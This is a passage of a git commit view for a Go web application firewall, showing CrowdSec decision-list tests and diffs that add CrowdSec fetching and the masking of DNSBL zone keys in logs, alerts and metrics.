{"Ip", suspect, ban, sshBF, began.Add(2 * time.Hour)},
{"Ip", suspect, ban, probing, began.Add(4 * time.Hour)},
// 198.51.100.130 is held by a decision on its address that ends
// after the one on its netblock, and 192.0.2.20 by one that ends
// before.
{rangeScope, "198.51.100.128/25", ban, sshBF, began.Add(time.Hour)},
{"Ip", "198.51.100.130", ban, probing, began.Add(3 * time.Hour)},
{rangeScope, "192.0.2.0/24", ban, probing, began.Add(5 * time.Hour)},
{"Ip", "192.0.2.20", ban, sshBF, began.Add(2 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: probing})
wantDecision(t, lists, "198.51.100.130",
reputation.Decision{Expires: began.Add(3 * time.Hour), Scenario: probing})
wantDecision(t, lists, "192.0.2.20",
reputation.Decision{Expires: began.Add(5 * time.Hour), Scenario: probing})
})
}
func TestCrowdSecAnswerOfNoDecisionIsAGoodCopyThatListsNoClient(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
lists := start(t, e, crowdSecParams())
// With its decision deleted, the engine answers null.
e.set(func(e *engine) { e.decisions = nil })
time.Sleep(time.Minute)
wantEngineFetches(t, e, 2)
want := []reputation.List{{
URL: decisionsURL, Tried: time.Now(), Fetched: time.Now(), Lines: []string{"null"},
}}
if got := lists.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("lists %+v, want %+v", got, want)
}
if lists.Failures(decisionsURL) != 0 {
t.Errorf("%d failures, want 0", lists.Failures(decisionsURL))
}
wantDecision(t, lists, suspect, reputation.Decision{})
})
}
func TestCrowdSecFailureKeepsTheLastGoodCopyAlertsOncePerCooldownAndHidesTheKey(
t *testing.T,
) {
t.Parallel()
for _, tc := range crowdSecFailures() {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
var log bytes.Buffer
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{"Ip", suspect, ban, sshBF, began.Add(4 * time.Hour)},
}}
queue := newQueue()
p := crowdSecParams()
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
p.Alerts = queue
lists := start(t, e, p)
kept := lists.Snapshot()
e.set(tc.fail)
// Each failure is tried again a minute after it.
for range 2 {
time.Sleep(time.Minute)
synctest.Wait()
}
wantEngineFetches(t, e, 3)
wantDecision(t, lists, suspect,
reputation.Decision{Expires: began.Add(4 * time.Hour), Scenario: sshBF})
want := kept[0]
want.Tried = time.Now()
if got := lists.Snapshot(); !reflect.DeepEqual(got, []reputation.List{want}) {
t.Errorf("lists %+v, want the first copy, last tried now, %+v", got, want)
}
if lists.Failures(decisionsURL) != 2 {
t.Errorf("%d failures, want 2", lists.Failures(decisionsURL))
}
// One alert for the first failure; the cooldown holds back the
// second.
wantAlert(t, queue,
fetchFailure(time.Now().Add(-time.Minute), decisionsURL, tc.error))
if !strings.Contains(log.String(), `"msg":"fetching a list failed",`+
`"url":"`+decisionsURL+`","error":"`+tc.error) {
t.Errorf("logged\n%s\nwant the failures", log.String())
}
wantKeyNotShown(t, e, log.String(), lists, queue)
})
})
}
}
// crowdSecFailure is a way for the engine to fail: fail has it answer the
// fetches after the first so that they fail with error.
type crowdSecFailure struct {
name string
fail func(e *engine)
error string
}
// crowdSecFailures returns the ways the engine can fail.
func crowdSecFailures() []crowdSecFailure {
const notDecision = " does not give an address or a netblock and a duration, " +
"such as 4h0m0s"
return []crowdSecFailure{
{
"an answer other than 200",
func(e *engine) { e.failing = true },
"the server answered 503 Service Unavailable",
},
{
"a key the engine refuses",
func(e *engine) { e.key = "another-key-0123456789abcdef" },
"the server answered 403 Forbidden",
},
{
"a redirect",
func(e *engine) { e.redirect = "http://elsewhere.example/v1/decisions" },
"the server answered 302 Found",
},
{
"an answer that does not read",
func(e *engine) { e.answer = "<html>" },
"read the answer: invalid character '<' looking for beginning of value",
},
{
"a decision to ban whose value does not read",
func(e *engine) {
e.answer = `[{"duration": "4h", "scenario": "` + sshBF + `", ` +
`"scope": "Ip", "type": "ban", "value": "203.0.113.300"}]`
},
"decision 1" + notDecision,
},
{
"a decision to ban whose duration does not read",
func(e *engine) {
e.answer = `[{"duration": "4h", "scope": "Country", "type": "ban", ` +
`"value": "KP"}, {"duration": "four hours", "scope": "Range", ` +
`"type": "ban", "value": "198.51.100.0/24"}]`
},
"decision 2" + notDecision,
},
}
}
// wantKeyNotShown checks that no fetch carried the engine's key to a URL
// other than its decision list, such as the one a redirect names, and that
// the key is in none of what the fetches leave behind: log, the process
// log, the alerts waiting in queue, and the copies of lists, which
// reputation.json keeps.
func wantKeyNotShown(
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
) {
t.Helper()
e.mu.Lock()
keySentTo := e.keySentTo
e.mu.Unlock()
if len(keySentTo) != 0 {
t.Errorf("the key was sent to %v", keySentTo)
}
shown, err := json.Marshal([]any{lists.Snapshot(), waiting(queue)})
if err != nil {
t.Fatalf("encode: %v", err)
}
if strings.Contains(log+string(shown), engineKey) {
t.Errorf("the key is shown in\n%s\n%s", log, shown)
}
}
func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing.T) {
t.Parallel()
synctest.Test(t, func(t *testing.T) {
began := time.Now()
e := &engine{key: engineKey, decisions: []decision{
{rangeScope, "198.51.100.0/24", ban, probing, began.Add(time.Hour)},
}}
lists := start(t, e, crowdSecParams())
kept := lists.Snapshot()
// Restarted half an hour later with what reputation.json keeps, and
// the engine down, the decision still bans, until the end it had at
// the fetch, half an hour on.
time.Sleep(30 * time.Minute)
down := &engine{key: engineKey, failing: true}
again := reputation.New(crowdSecParams())
again.SetTransport(down)
err := again.Load(kept)
if err != nil {
t.Fatalf("load: %v", err)
}
run(t, again)
want := reputation.Decision{Expires: began.Add(time.Hour), Scenario: probing}
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(30*time.Minute - time.Nanosecond)
synctest.Wait()
wantDecision(t, again, "198.51.100.7", want)
time.Sleep(time.Nanosecond)
synctest.Wait()
wantDecision(t, again, "198.51.100.7", reputation.Decision{})
})
}
func TestLoadTakesACrowdSecListNeverFetchedAndRefusesACopyThatDoesNotRead(
t *testing.T,
) {
t.Parallel()
now := time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC)
lists := reputation.New(crowdSecParams())
// Tried, and never fetched: there is no copy to read.
err := lists.Load([]reputation.List{{URL: decisionsURL, Tried: now}})
if err != nil {
t.Errorf("load the list never fetched: %v", err)
}
err = lists.Load([]reputation.List{{
URL: decisionsURL, Tried: now, Fetched: now, Lines: []string{
`[{"duration": "4h", "scope": "Range", "type": "ban", ` +
`"value": "198.51.100.0/33"}]`,
},
}})
const want = "the copy of " + decisionsURL + ": decision 1 does not give an " +
"address or a netblock and a duration, such as 4h0m0s"
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
}
// engine is a stand-in for the local API of a CrowdSec engine. It answers
// a fetch of the decision list that carries its key in X-Api-Key with its
// decisions still in force, each with the time it has left as it answers,
// by the bubble's clock, as an engine does, or with answer while that is
// not "". It answers 403 to a fetch without its key, as an engine does,
// with a redirect to redirect while that is not "", and 503 while failing.
// It counts the fetches, and notes in keySentTo the URL of each fetch of
// another URL that carries a key, as one following a redirect would.
type engine struct {
mu sync.Mutex
key string
decisions []decision
answer string
redirect string
failing bool
fetches int
keySentTo []string
}
// decision is a decision of the engine, which ends at expires.
type decision struct {
scope, value, kind, scenario string
expires time.Time
}
// RoundTrip has the engine answer req, in place of the network.
func (e *engine) RoundTrip(req *http.Request) (*http.Response, error) {
e.mu.Lock()
defer e.mu.Unlock()
e.fetches++
if req.URL.String() != decisionsURL && req.Header.Get("X-Api-Key") != "" {
e.keySentTo = append(e.keySentTo, req.URL.String())
}
status, header, body := http.StatusOK, http.Header{}, e.answer
switch {
case req.URL.String() != decisionsURL || req.Header.Get("X-Api-Key") != e.key:
status, body = http.StatusForbidden, `{"message":"access forbidden"}`
case e.redirect != "":
status, header = http.StatusFound, http.Header{"Location": {e.redirect}}
case e.failing:
status, body = http.StatusServiceUnavailable, ""
case body == "":
body = e.inForce(time.Now())
}
return &http.Response{
StatusCode: status,
Status: fmt.Sprintf("%d %s", status, http.StatusText(status)),
Header: header,
Body: io.NopCloser(strings.NewReader(body)),
Request: req,
}, nil
}
// inForce returns the decisions in force at now, as the engine answers
// them: a JSON list, null for none.
func (e *engine) inForce(now time.Time) string {
var answer []map[string]string
for _, d := range e.decisions {
if now.Before(d.expires) {
answer = append(answer, map[string]string{
"duration": d.expires.Sub(now).String(), "origin": "crowdsec",
"scenario": d.scenario, "scope": d.scope, "type": d.kind, "value": d.value,
})
}
}
body, err := json.Marshal(answer)
if err != nil {
panic(err) // a list of maps of strings always encodes
}
return string(body)
}
// set changes the engine with change.
func (e *engine) set(change func(e *engine)) {
e.mu.Lock()
defer e.mu.Unlock()
change(e)
}
// crowdSecParams returns the Params of the decision list of the tests'
// engine, fetched with its key, by the bubble's clock, with alerts to a
// queue that sends none.
func crowdSecParams() reputation.Params {
p := params()
p.CrowdSecDecisionsURL = decisionsURL
p.CrowdSecKey = engineKey
return p
}
// wantEngineFetches waits until Run has made the fetches due, and checks
// how many the engine has had.
func wantEngineFetches(t *testing.T, e *engine, want int) {
t.Helper()
synctest.Wait()
e.mu.Lock()
got := e.fetches
e.mu.Unlock()
if got != want {
t.Errorf("%d fetches, want %d", got, want)
}
}
// wantDecision checks the decision lists says is in force on addr now,
// the zero Decision for none.
func wantDecision(
t *testing.T, lists *reputation.Lists, addr string, want reputation.Decision,
) {
t.Helper()
got, listed := lists.CrowdSecDecision(netip.MustParseAddr(addr), time.Now())
if listed != !want.Expires.IsZero() ||
listed && (!got.Expires.Equal(want.Expires) || got.Scenario != want.Scenario) {
t.Errorf("%s has the decision %+v in force %t, want %+v", addr, got, listed, want)
}
}
+22 -19
View File
@@ -16,19 +16,21 @@ import (
"github.com/hashicorp/golang-lru/v2/simplelru" "github.com/hashicorp/golang-lru/v2/simplelru"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
) )
const ( const (
// maxVerdicts is how many verdicts are kept. Past it, the one fetched // maxVerdicts is how many verdicts of the DNSBL zones are kept, and how
// longest ago is dropped. // many scores of AbuseIPDB. Past it, the one fetched longest ago is
// dropped.
maxVerdicts = 100000 maxVerdicts = 100000
// maxQueries is how many queries may be under way at once. Past it, a // maxQueries is how many queries may be under way at once. Past it, a
// zone is not asked about a client until the client's next request, so // zone is not asked about a client until the client's next request, so
// that a swarm of new addresses cannot fill the memory. // that a swarm of new addresses cannot fill the memory.
maxQueries = 1000 maxQueries = 1000
// failureDelay is how long a zone is not asked again after a query to // failureDelay is how long a zone is not asked again after a query to
// it fails, so that a zone refusing queries is not asked on every // it fails, and no client is checked with AbuseIPDB after a check
// request. // fails, so that a source refusing them is not asked on every request.
failureDelay = time.Minute failureDelay = time.Minute
) )
@@ -131,12 +133,14 @@ func (d *DNSBL) Zones() []string {
} }
// ListedBy returns the zones whose verdict on addr, a client's address, // ListedBy returns the zones whose verdict on addr, a client's address,
// lists it, in the order SWWAF_DNSBL_ZONES names them. A verdict is used // lists it, in the order SWWAF_DNSBL_ZONES names them, each with its key
// until CacheTTL has passed since it was fetched. Each zone without one is // masked, as config.MaskZoneKey masks it, since they go to the request
// asked about addr in the background, unless a query about addr to it is // log, the alerts and the metrics. A verdict is used until CacheTTL has
// under way, the zone is left alone after a failure, or maxQueries are // passed since it was fetched. Each zone without one is asked about addr
// under way; ListedBy never waits for a query. ctx is the context of the // in the background, unless a query about addr to it is under way, the
// client's request, and a query goes on after the request ends. // zone is left alone after a failure, or maxQueries are under way;
// ListedBy never waits for a query. ctx is the context of the client's
// request, and a query goes on after the request ends.
func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string { func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
d.mu.Lock() d.mu.Lock()
defer d.mu.Unlock() defer d.mu.Unlock()
@@ -153,7 +157,7 @@ func (d *DNSBL) ListedBy(ctx context.Context, addr netip.Addr) []string {
switch { switch {
case found && now.Sub(kept.Fetched) < d.params.CacheTTL: case found && now.Sub(kept.Fetched) < d.params.CacheTTL:
if kept.Listed { if kept.Listed {
listedBy = append(listedBy, zone) listedBy = append(listedBy, config.MaskZoneKey(zone))
} }
case !d.asking[q] && !now.Before(d.retryAt[zone]) && len(d.asking) < maxQueries: case !d.asking[q] && !now.Before(d.retryAt[zone]) && len(d.asking) < maxQueries:
d.asking[q] = true d.asking[q] = true
@@ -229,8 +233,9 @@ func (d *DNSBL) Load(verdicts []Verdict) {
// ask asks q's zone about q's client, keeps the verdict, and notes the // ask asks q's zone about q's client, keeps the verdict, and notes the
// query as no longer under way. A query that fails gives no verdict: it // query as no longer under way. A query that fails gives no verdict: it
// is counted, logged and raised as a source_failure alert, and the zone is // is counted, logged and raised as a source_failure alert, which show the
// not asked again for failureDelay. // zone with its key masked, and the zone is not asked again for
// failureDelay.
func (d *DNSBL) ask(ctx context.Context, q query) { func (d *DNSBL) ask(ctx context.Context, q query) {
listed, err := d.lookUp(ctx, q) listed, err := d.lookUp(ctx, q)
now := d.params.Now() now := d.params.Now()
@@ -253,14 +258,12 @@ func (d *DNSBL) ask(ctx context.Context, q query) {
if err != nil { if err != nil {
const failed = "asking a DNSBL zone failed" const failed = "asking a DNSBL zone failed"
shown := config.MaskZoneKey(q.zone)
// Raised before it is logged, so that the alert is there once the // Raised before it is logged, so that the alert is there once the
// log line is. // log line is.
d.params.Alerts.Raise(alerts.Alert{ raiseFailure(d.params.Alerts, failed, shown, err)
Event: alerts.EventSourceFailure, d.params.ProcessLog.Warn(failed, "zone", shown, "error", err.Error())
Reason: failed,
Detail: map[string]any{"source": q.zone, "error": err.Error()},
})
d.params.ProcessLog.Warn(failed, "zone", q.zone, "error", err.Error())
} }
} }
+47
View File
@@ -319,6 +319,53 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
}) })
} }
//nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestZoneKeyIsMaskedInTheVerdictsTheFailuresAndTheMetrics(t *testing.T) {
const (
key = "abcdefghijklmnopqrstuvwxyz"
keyed = key + ".xbl.dq.spamhaus.net"
masked = "********.xbl.dq.spamhaus.net"
)
synctest.Test(t, func(t *testing.T) {
var log bytes.Buffer
queue := newQueue()
p := dnsblParams(keyed)
p.Alerts = queue
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
dnsbl := newDNSBL(&resolverStandIn{answers: map[string]answer{
"99.2.0.192." + keyed + ".": {addrs: []string{listing}},
"100.2.0.192." + keyed + ".": {rcode: serverFailure},
}}, p)
m := metrics.New(1, "app")
m.AddReputation(reputation.New(params()), dnsbl)
// Both clients are asked about before either answer comes, so that
// the failure does not keep the zone from the other query.
wantZones(t, dnsbl, listed)
wantZones(t, dnsbl, unlisted)
synctest.Wait()
wantZones(t, dnsbl, listed, masked)
if got := waiting(queue); len(got) != 1 || got[0].Detail["source"] != masked {
t.Errorf("alerts waiting %+v, want the failure's, from %s", got, masked)
}
scraped := httptest.NewRecorder()
m.ServeHTTP(scraped, httptest.NewRequestWithContext(t.Context(), http.MethodGet,
"/", http.NoBody))
for name, shown := range map[string]string{
"the log": log.String(), "the metrics": scraped.Body.String(),
} {
if strings.Contains(shown, key) || !strings.Contains(shown, masked) {
t.Errorf("%s shows the key, or does not name the zone:\n%s", name, shown)
}
}
})
}
//nolint:paralleltest // one at a time, as the comment at the top of this file says //nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestVerdictsKeptAcrossARestart(t *testing.T) { func TestVerdictsKeptAcrossARestart(t *testing.T) {
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
+7
View File
@@ -11,6 +11,13 @@ import (
// network. // network.
func (l *Lists) SetTransport(transport http.RoundTripper) { func (l *Lists) SetTransport(transport http.RoundTripper) {
l.httpClient.Transport = transport l.httpClient.Transport = transport
l.crowdSecClient.Transport = transport
}
// SetTransport has a's checks go through transport instead of the
// network.
func (a *AbuseIPDB) SetTransport(transport http.RoundTripper) {
a.httpClient.Transport = transport
} }
// SetDial has d's queries go through dial instead of the network. // SetDial has d's queries go through dial instead of the network.
+190 -39
View File
@@ -1,15 +1,18 @@
// Package reputation fetches the lists the settings name by URL: the // Package reputation fetches the lists the settings name by URL: the
// blocklists of SWWAF_BLOCKLIST_URLS, and the file of AS:percent lines // blocklists of SWWAF_BLOCKLIST_URLS, the file of AS:percent lines
// SWWAF_ASN_LIMIT_PERCENT_URL names. It keeps the last good copy of each, // SWWAF_ASN_LIMIT_PERCENT_URL names, and the decision list of the CrowdSec
// whole, comment lines included, which is used while a fetch fails, and // engine SWWAF_CROWDSEC_LAPI_URL names. It keeps the last good copy of
// when each was last tried. It also asks the DNSBL zones of // each, whole, comment lines included, which is used while a fetch fails,
// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts. The state // and when each was last tried. It also asks the DNSBL zones of
// package writes all of these to reputation.json and reads them from it, // SWWAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
// so that a restart keeps them too. // clients with AbuseIPDB, and keeps their scores and the checks spent
// today. The state package writes all of these to reputation.json and
// reads them from it, so that a restart keeps them too.
package reputation package reputation
import ( import (
"context" "context"
"encoding/json"
"errors" "errors"
"fmt" "fmt"
"io" "io"
@@ -31,6 +34,10 @@ const (
maxListBytes = 16 << 20 maxListBytes = 16 << 20
// fetchTimeout bounds one fetch of a list. // fetchTimeout bounds one fetch of a list.
fetchTimeout = time.Minute fetchTimeout = time.Minute
// crowdSecRefresh is how long after the CrowdSec decision list was last
// fetched or tried it is fetched again: the engine is the operator's
// own, and makes and ends decisions all the time.
crowdSecRefresh = time.Minute
// mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every // mappedBits is the length of ::ffff:0.0.0.0/96, the netblock of every
// IPv4-mapped address. // IPv4-mapped address.
mappedBits = 96 mappedBits = 96
@@ -42,6 +49,8 @@ var (
errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24") errNotNetblock = errors.New("is not an address or a netblock, such as 192.0.2.0/24")
errNotASNPercent = errors.New( errNotASNPercent = errors.New(
"is not an AS number, : and a percentage, such as AS64496:50") "is not an AS number, : and a percentage, such as AS64496:50")
errNotDecision = errors.New(
"does not give an address or a netblock and a duration, such as 4h0m0s")
) )
// List is a list as reputation.json holds it: the URL it is fetched from, // List is a list as reputation.json holds it: the URL it is fetched from,
@@ -62,8 +71,14 @@ type Params struct {
// (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset. // (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
BlocklistURLs []string BlocklistURLs []string
ASNLimitPercentURL string ASNLimitPercentURL string
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
// SWWAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWWAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// Refresh is how long after a list was last fetched or tried it is // Refresh is how long after a list was last fetched or tried it is
// fetched again (SWWAF_BLOCKLIST_REFRESH). // fetched again (SWWAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
// list, which is fetched again crowdSecRefresh after.
Refresh time.Duration Refresh time.Duration
// Now tells the time, normally time.Now in UTC. // Now tells the time, normally time.Now in UTC.
Now func() time.Time Now func() time.Time
@@ -78,6 +93,10 @@ type Params struct {
type Lists struct { type Lists struct {
params Params params Params
httpClient *http.Client httpClient *http.Client
// crowdSecClient fetches the CrowdSec decision list. It follows no
// redirect, so that the key goes to the engine alone: a redirect is a
// failure.
crowdSecClient *http.Client
mu sync.Mutex mu sync.Mutex
// lists are by URL, one for each URL Params names. // lists are by URL, one for each URL Params names.
@@ -94,17 +113,36 @@ type list struct {
} }
// entries are what the lines of a copy say: for a blocklist, the netblocks // entries are what the lines of a copy say: for a blocklist, the netblocks
// it names, with the lengths among them, and for the file of AS:percent // it names, with the lengths among them, for the file of AS:percent lines,
// lines, the percentage it gives each AS number. // the percentage it gives each AS number, and for the CrowdSec decision
// list, the decision on each netblock that ends last, with the lengths
// among them.
type entries struct { type entries struct {
netblocks map[netip.Prefix]bool netblocks map[netip.Prefix]bool
lengths []int lengths []int
percents map[string]int64 percents map[string]int64
decisions map[netip.Prefix]Decision
}
// Decision is a decision of the CrowdSec engine to ban a netblock: when
// it ends, and the scenario that made it, such as crowdsecurity/ssh-bf.
type Decision struct {
Expires time.Time
Scenario string
} }
// New returns the lists, without a copy of any yet. // New returns the lists, without a copy of any yet.
func New(params Params) *Lists { func New(params Params) *Lists {
l := &Lists{params: params, httpClient: &http.Client{}, lists: map[string]*list{}} l := &Lists{
params: params,
httpClient: &http.Client{},
crowdSecClient: &http.Client{
CheckRedirect: func(*http.Request, []*http.Request) error {
return http.ErrUseLastResponse
},
},
lists: map[string]*list{},
}
for _, listURL := range l.URLs() { for _, listURL := range l.URLs() {
l.lists[listURL] = &list{kept: List{URL: listURL}} l.lists[listURL] = &list{kept: List{URL: listURL}}
@@ -114,13 +152,18 @@ func New(params Params) *Lists {
} }
// URLs returns the URL of every list: the blocklists' in the order // URLs returns the URL of every list: the blocklists' in the order
// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL. // SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL, then
// the CrowdSec decision list's.
func (l *Lists) URLs() []string { func (l *Lists) URLs() []string {
urls := slices.Clone(l.params.BlocklistURLs) urls := slices.Clone(l.params.BlocklistURLs)
if l.params.ASNLimitPercentURL != "" { if l.params.ASNLimitPercentURL != "" {
urls = append(urls, l.params.ASNLimitPercentURL) urls = append(urls, l.params.ASNLimitPercentURL)
} }
if l.params.CrowdSecDecisionsURL != "" {
urls = append(urls, l.params.CrowdSecDecisionsURL)
}
return urls return urls
} }
@@ -156,6 +199,37 @@ func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
return percent, listed return percent, listed
} }
// CrowdSecDecision returns the decision of the copy of the CrowdSec
// decision list on a netblock that holds addr and that ends last, and
// whether it is still in force at now. A decision that has ended no
// longer bans, even before the next fetch drops it.
func (l *Lists) CrowdSecDecision(addr netip.Addr, now time.Time) (Decision, bool) {
if l.params.CrowdSecDecisionsURL == "" {
return Decision{}, false
}
l.mu.Lock()
defer l.mu.Unlock()
kept := l.lists[l.params.CrowdSecDecisionsURL].entries
var last Decision
for _, length := range kept.lengths {
netblock, err := addr.Prefix(length)
if err != nil {
continue // an IPv6 netblock's length, past an IPv4 address's 32 bits
}
decision := kept.decisions[netblock]
if decision.Expires.After(last.Expires) {
last = decision
}
}
return last, now.Before(last.Expires)
}
// Fetched returns when the copy in use of the list at listURL was // Fetched returns when the copy in use of the list at listURL was
// fetched, or zero while there is none. // fetched, or zero while there is none.
func (l *Lists) Fetched(listURL string) time.Time { func (l *Lists) Fetched(listURL string) time.Time {
@@ -173,10 +247,9 @@ func (l *Lists) Failures(listURL string) int {
return l.lists[listURL].failures return l.lists[listURL].failures
} }
// Run fetches each list once Refresh has passed since it was last fetched // Run fetches each list once it is due, as due tells, until ctx is done. A
// or tried, the later of the two, until ctx is done. A list never tried is // list never tried is fetched at once, and so is one that is due by its
// fetched at once, and so is one whose last try or copy, read from // last try or copy read from reputation.json.
// reputation.json, is that old.
func (l *Lists) Run(ctx context.Context) { func (l *Lists) Run(ctx context.Context) {
if len(l.lists) == 0 { if len(l.lists) == 0 {
return return
@@ -224,11 +297,12 @@ func (l *Lists) Load(lists []List) error {
found := make(map[string]entries, len(lists)) found := make(map[string]entries, len(lists))
for _, kept := range lists { for _, kept := range lists {
if _, named := l.lists[kept.URL]; !named { _, named := l.lists[kept.URL]
continue if !named || kept.Fetched.IsZero() {
continue // dropped, or a list tried but never fetched, without a copy
} }
read, err := l.parse(kept.URL, kept.Lines) read, err := l.parse(kept.URL, kept.Lines, kept.Fetched)
if err != nil { if err != nil {
return fmt.Errorf("the copy of %s: %w", kept.URL, err) return fmt.Errorf("the copy of %s: %w", kept.URL, err)
} }
@@ -244,9 +318,8 @@ func (l *Lists) Load(lists []List) error {
} }
for _, kept := range lists { for _, kept := range lists {
read, named := found[kept.URL] if _, named := l.lists[kept.URL]; named {
if named { l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, found[kept.URL]
l.lists[kept.URL].kept, l.lists[kept.URL].entries = kept, read
} }
} }
@@ -275,7 +348,8 @@ func (l *Lists) fetchDue(ctx context.Context) time.Time {
} }
// due returns when the list at listURL is to be fetched: Refresh after it // due returns when the list at listURL is to be fetched: Refresh after it
// was last fetched or tried, the later of the two. // was last fetched or tried, the later of the two, or crowdSecRefresh
// after for the CrowdSec decision list.
func (l *Lists) due(listURL string) time.Time { func (l *Lists) due(listURL string) time.Time {
l.mu.Lock() l.mu.Lock()
defer l.mu.Unlock() defer l.mu.Unlock()
@@ -287,6 +361,10 @@ func (l *Lists) due(listURL string) time.Time {
last = held.kept.Tried last = held.kept.Tried
} }
if listURL == l.params.CrowdSecDecisionsURL {
return last.Add(crowdSecRefresh)
}
return last.Add(l.params.Refresh) return last.Add(l.params.Refresh)
} }
@@ -297,14 +375,14 @@ func (l *Lists) due(listURL string) time.Time {
// so that a restart waits for it: the server may have had its request. // so that a restart waits for it: the server may have had its request.
func (l *Lists) fetch(ctx context.Context, listURL string) { func (l *Lists) fetch(ctx context.Context, listURL string) {
lines, err := l.get(ctx, listURL) lines, err := l.get(ctx, listURL)
now := l.params.Now()
var found entries var found entries
if err == nil { if err == nil {
found, err = l.parse(listURL, lines) found, err = l.parse(listURL, lines, now)
} }
cutOff := err != nil && ctx.Err() != nil cutOff := err != nil && ctx.Err() != nil
now := l.params.Now()
l.mu.Lock() l.mu.Lock()
@@ -329,11 +407,7 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
// Raised before it is logged, so that the alert is there once the // Raised before it is logged, so that the alert is there once the
// log line is. // log line is.
l.params.Alerts.Raise(alerts.Alert{ raiseFailure(l.params.Alerts, failed, listURL, err)
Event: alerts.EventSourceFailure,
Reason: failed,
Detail: map[string]any{"source": listURL, "error": err.Error()},
})
l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error()) l.params.ProcessLog.Warn(failed, "url", listURL, "error", err.Error())
return return
@@ -342,8 +416,22 @@ func (l *Lists) fetch(ctx context.Context, listURL string) {
l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines)) l.params.ProcessLog.Info("fetched a list", "url", listURL, "lines", len(lines))
} }
// get fetches the list at listURL, and returns its lines. An answer other // raiseFailure raises a source_failure alert into queue, with reason, and
// than 200, or a list longer than maxListBytes, is a failure. // in its detail the source that failed, a list's URL, a zone with its key
// masked or abuseipdb, and err.
func raiseFailure(queue *alerts.Queue, reason, source string, err error) {
queue.Raise(alerts.Alert{
Event: alerts.EventSourceFailure,
Reason: reason,
Detail: map[string]any{"source": source, "error": err.Error()},
})
}
// get fetches the list at listURL, and returns its lines. The CrowdSec
// decision list is fetched with CrowdSecKey in the header X-Api-Key, where
// the engine looks for it, by crowdSecClient, which follows no redirect.
// An answer other than 200, or a list longer than maxListBytes, is a
// failure.
func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) { func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
ctx, cancel := context.WithTimeout(ctx, fetchTimeout) ctx, cancel := context.WithTimeout(ctx, fetchTimeout)
defer cancel() defer cancel()
@@ -353,7 +441,14 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return nil, fmt.Errorf("make the request: %w", err) return nil, fmt.Errorf("make the request: %w", err)
} }
res, err := l.httpClient.Do(req) client := l.httpClient
if listURL == l.params.CrowdSecDecisionsURL {
req.Header.Set("X-Api-Key", l.params.CrowdSecKey)
client = l.crowdSecClient
}
res, err := client.Do(req)
if err != nil { if err != nil {
// Do's error names the URL, which the log line and the alert name // Do's error names the URL, which the log line and the alert name
// already: only what went wrong is kept. // already: only what went wrong is kept.
@@ -385,16 +480,22 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
return lines, nil return lines, nil
} }
// parse reads the lines of the list at listURL: those of a blocklist, or // parse reads the lines of the list at listURL, fetched at fetched: those
// of the file of AS:percent lines. Anything after a ; or a # on a line is // of a blocklist, of the file of AS:percent lines, or of the CrowdSec
// decision list. In the first two, anything after a ; or a # on a line is
// left out, and so is a line left blank. Any other line that does not read // left out, and so is a line left blank. Any other line that does not read
// is an error naming it by its number. // is an error naming it by its number.
func (l *Lists) parse(listURL string, lines []string) (entries, error) { func (l *Lists) parse(
if listURL == l.params.ASNLimitPercentURL { listURL string, lines []string, fetched time.Time,
) (entries, error) {
switch listURL {
case l.params.ASNLimitPercentURL:
return parsePercents(lines) return parsePercents(lines)
case l.params.CrowdSecDecisionsURL:
return parseDecisions(lines, fetched)
default:
return parseNetblocks(lines)
} }
return parseNetblocks(lines)
} }
// parseNetblocks reads a blocklist's lines, each an address or a netblock // parseNetblocks reads a blocklist's lines, each an address or a netblock
@@ -478,6 +579,56 @@ func parsePercents(lines []string) (entries, error) {
return found, nil return found, nil
} }
// parseDecisions reads the lines of the CrowdSec decision list fetched at
// fetched: the engine's answer, a JSON list of its decisions in force,
// null while it has none. A decision of the type ban whose scope is Ip or
// Range, as CrowdSec names them, bans its value, an address or a netblock
// as parseNetblock reads it, until its duration, the time it had left as
